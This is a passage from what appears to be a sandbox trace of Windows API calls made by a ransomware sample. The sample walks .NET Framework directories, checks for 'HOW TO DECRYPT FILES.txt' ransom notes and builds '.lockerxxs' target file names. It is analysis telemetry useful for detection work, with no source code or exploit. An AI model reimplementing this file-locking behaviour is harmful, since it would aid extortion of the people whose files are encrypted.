lpString2="SqlPersistenceProviderLogic.sql") returned -1 [0136.982] lstrcmpiA (lpString1="", lpString2="SqlPersistenceProviderLogic.sql") returned -1 [0136.982] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\DropSqlPersistenceProviderSchema.sql") returned="DropSqlPersistenceProviderSchema.sql" [0136.982] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\" [0136.982] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\") returned="" [0136.982] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\HOW TO DECRYPT FILES.txt" [0136.982] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.5\\sql\\en\\how to decrypt files.txt")) returned 0x20 [0136.982] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\", lpString2="SqlPersistenceProviderLogic.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\SqlPersistenceProviderLogic.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\SqlPersistenceProviderLogic.sql" [0136.983] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\SqlPersistenceProviderLogic.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\SqlPersistenceProviderLogic.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\SqlPersistenceProviderLogic.sql" [0136.983] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\SqlPersistenceProviderLogic.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\SqlPersistenceProviderLogic.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\SqlPersistenceProviderLogic.sql" [0136.983] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\SqlPersistenceProviderLogic.sql", lpString2="." | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\SqlPersistenceProviderLogic.sql.") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\SqlPersistenceProviderLogic.sql." [0136.983] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\SqlPersistenceProviderLogic.sql.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\SqlPersistenceProviderLogic.sql.lockerxxs") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\SqlPersistenceProviderLogic.sql.lockerxxs" [0136.983] CreateFileA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\SqlPersistenceProviderLogic.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.5\\sql\\en\\sqlpersistenceproviderlogic.sql"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0136.983] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3169e0d3, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x3169e0d3, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x61d4337c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x860, dwReserved0=0x0, dwReserved1=0x0, cFileName="SqlPersistenceProviderSchema.sql", cAlternateFileName="")) returned 1 [0136.983] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0136.983] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SqlPersistenceProviderSchema.sql") returned -1 [0136.983] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SqlPersistenceProviderSchema.sql") returned -1 [0136.983] lstrcmpiA (lpString1="", lpString2="SqlPersistenceProviderSchema.sql") returned -1 [0136.983] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\SqlPersistenceProviderLogic.sql") returned="SqlPersistenceProviderLogic.sql" [0136.983] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\" [0136.983] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\") returned="" [0136.983] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\HOW TO DECRYPT FILES.txt" [0136.983] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.5\\sql\\en\\how to decrypt files.txt")) returned 0x20 [0136.983] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\", lpString2="SqlPersistenceProviderSchema.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\SqlPersistenceProviderSchema.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\SqlPersistenceProviderSchema.sql" [0136.984] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\SqlPersistenceProviderSchema.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\SqlPersistenceProviderSchema.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\SqlPersistenceProviderSchema.sql" [0136.984] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\SqlPersistenceProviderSchema.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\SqlPersistenceProviderSchema.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\SqlPersistenceProviderSchema.sql" [0136.984] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\SqlPersistenceProviderSchema.sql", lpString2="." | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\SqlPersistenceProviderSchema.sql.") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\SqlPersistenceProviderSchema.sql." [0136.984] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\SqlPersistenceProviderSchema.sql.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\SqlPersistenceProviderSchema.sql.lockerxxs") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\SqlPersistenceProviderSchema.sql.lockerxxs" [0136.984] CreateFileA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SQL\\EN\\SqlPersistenceProviderSchema.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.5\\sql\\en\\sqlpersistenceproviderschema.sql"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0136.985] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3169e0d3, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x3169e0d3, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x61d4337c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x860, dwReserved0=0x0, dwReserved1=0x0, cFileName="SqlPersistenceProviderSchema.sql", cAlternateFileName="")) returned 0 [0136.985] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0136.985] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x811aee91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x811aee91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="EN", cAlternateFileName="")) returned 0 [0136.985] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0136.985] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59a80eeb, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x59a80eeb, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x8122e91c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x8e5, dwReserved0=0x510053, dwReserved1=0x4c, cFileName="SqlServer.targets", cAlternateFileName="")) returned 1 [0136.985] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.985] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SqlServer.targets") returned -1 [0136.985] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SqlServer.targets") returned -1 [0136.985] lstrcmpiA (lpString1="", lpString2="SqlServer.targets") returned -1 [0136.985] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\*.*") returned="*.*" [0136.985] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" [0136.985] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="" [0136.985] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" [0136.985] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.5\\how to decrypt files.txt")) returned 0x20 [0136.986] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="SqlServer.targets" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SqlServer.targets") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SqlServer.targets" [0136.986] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6488e03, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6488e03, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb64d50c3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1a3548, dwReserved0=0x0, dwReserved1=0x0, cFileName="vbc.exe", cAlternateFileName="")) returned 1 [0136.986] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.986] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="vbc.exe") returned -1 [0136.986] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="vbc.exe") returned -1 [0136.986] lstrcmpiA (lpString1="", lpString2="vbc.exe") returned -1 [0136.986] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\SqlServer.targets") returned="SqlServer.targets" [0136.986] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" [0136.986] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="" [0136.987] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" [0136.987] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.5\\how to decrypt files.txt")) returned 0x20 [0136.987] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="vbc.exe" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\vbc.exe") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\vbc.exe" [0136.987] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a0e69e0, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x5a0e69e0, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x81632e3c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="vbc.exe.config", cAlternateFileName="")) returned 1 [0136.987] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.987] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="vbc.exe.config") returned -1 [0136.987] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="vbc.exe.config") returned -1 [0136.987] lstrcmpiA (lpString1="", lpString2="vbc.exe.config") returned -1 [0136.987] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\vbc.exe") returned="vbc.exe" [0136.987] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" [0136.987] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="" [0136.987] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" [0136.987] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.5\\how to decrypt files.txt")) returned 0x20 [0136.987] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="vbc.exe.config" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\vbc.exe.config") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\vbc.exe.config" [0136.988] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a10cb3f, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x5a10cb3f, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x81d7d19c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x5d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="vbc.rsp", cAlternateFileName="")) returned 1 [0136.988] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.988] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="vbc.rsp") returned -1 [0136.988] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="vbc.rsp") returned -1 [0136.988] lstrcmpiA (lpString1="", lpString2="vbc.rsp") returned -1 [0136.988] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\vbc.exe.config") returned="vbc.exe.config" [0136.988] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" [0136.988] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="" [0136.988] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" [0136.988] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.5\\how to decrypt files.txt")) returned 0x20 [0136.988] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="vbc.rsp" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\vbc.rsp") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\vbc.rsp" [0136.988] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x312bfd2d, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x312bfd2d, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x61d694dc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x2f358, dwReserved0=0x0, dwReserved1=0x0, cFileName="WFServicesReg.exe", cAlternateFileName="")) returned 1 [0136.989] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0136.989] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WFServicesReg.exe") returned -1 [0136.989] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WFServicesReg.exe") returned -1 [0136.989] lstrcmpiA (lpString1="", lpString2="WFServicesReg.exe") returned -1 [0136.989] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\vbc.rsp") returned="vbc.rsp" [0136.989] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" [0136.989] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\") returned="" [0136.989] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" [0136.989] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v3.5\\how to decrypt files.txt")) returned 0x20 [0136.989] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="WFServicesReg.exe" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\WFServicesReg.exe") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\WFServicesReg.exe" [0136.989] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Presentation Foundation", cAlternateFileName="WINDOW~1")) returned 1 [0136.989] lstrcmpA (lpString1=".", lpString2="Windows Presentation Foundation") returned -1 [0136.989] lstrcmpA (lpString1="..", lpString2="Windows Presentation Foundation") returned -1 [0136.990] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\WFServicesReg.exe") returned="WFServicesReg.exe" [0136.990] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\", lpString2="Windows Presentation Foundation" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\Windows Presentation Foundation") returned="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\Windows Presentation Foundation" [0136.990] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\Windows Presentation Foundation\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501568, cFileName=".", cAlternateFileName="")) returned 0x502518 [0136.990] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0136.990] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0136.990] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0136.990] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0136.990] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 0 [0136.990] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0136.990] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Presentation Foundation", cAlternateFileName="WINDOW~1")) returned 0 [0136.990] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0136.991] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x89f82540, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xd0be0600, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xd0be0600, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="v4.0.30319", cAlternateFileName="V40~1.303")) returned 1 [0136.991] lstrcmpA (lpString1=".", lpString2="v4.0.30319") returned -1 [0136.991] lstrcmpA (lpString1="..", lpString2="v4.0.30319") returned -1 [0136.991] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\*.*") returned="*.*" [0136.991] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\", lpString2="v4.0.30319" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319" [0136.991] FindFirstFileA (in: 